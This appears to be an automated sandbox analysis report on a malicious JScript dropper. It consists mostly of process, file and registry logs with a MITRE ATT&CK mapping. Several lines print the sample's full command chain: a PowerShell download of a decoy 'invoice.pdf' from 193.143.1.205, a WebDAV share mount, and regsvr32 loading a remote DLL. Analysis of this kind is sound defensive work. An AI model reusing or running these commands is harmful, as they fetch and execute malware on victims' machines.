Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\759.js.csv");ITextStream.WriteLine(" entry:6860 f:sgufyaz");ITextStream.WriteLine(" exec:2 f:sgufyaz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49709

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3807			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6038			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5260	Thread sleep count: 3807 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5260	Thread sleep count: 6038 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5536	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6568	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5660	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7476	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: net.exe, 00000008.00000002.2246023274.000001CCA1BA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2246066160.000001CCA1C08000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3385825613.000001F10545B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000A.00000002.3386332776.000001F17FE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
